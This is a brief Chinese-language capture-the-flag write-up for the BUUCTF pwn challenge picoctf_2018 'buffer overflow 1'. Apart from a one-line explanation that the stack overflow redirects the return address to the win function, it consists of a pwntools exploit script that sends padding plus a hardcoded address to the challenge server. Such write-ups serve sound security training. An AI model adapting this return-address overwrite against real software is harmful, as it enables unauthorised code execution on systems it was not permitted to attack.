其他分享
首页 > 其他分享> > [BUUCTF-pwn]——picoctf_2018_buffer overflow 1

[BUUCTF-pwn]——picoctf_2018_buffer overflow 1

作者:互联网

[BUUCTF-pwn]——picoctf_2018_buffer overflow 1

简单的栈溢出, 返回地址,设置为win就好

exploit

from pwn import *
p = remote("node3.buuoj.cn",25059)
payload = 'a' * (0x28 + 4) + p32(0x080485CB)
p.sendline(payload)
p.interactive()

标签:BUUCTF,buffer,picoctf,2018,pwn,payload
来源: https://blog.csdn.net/Y_peak/article/details/114891656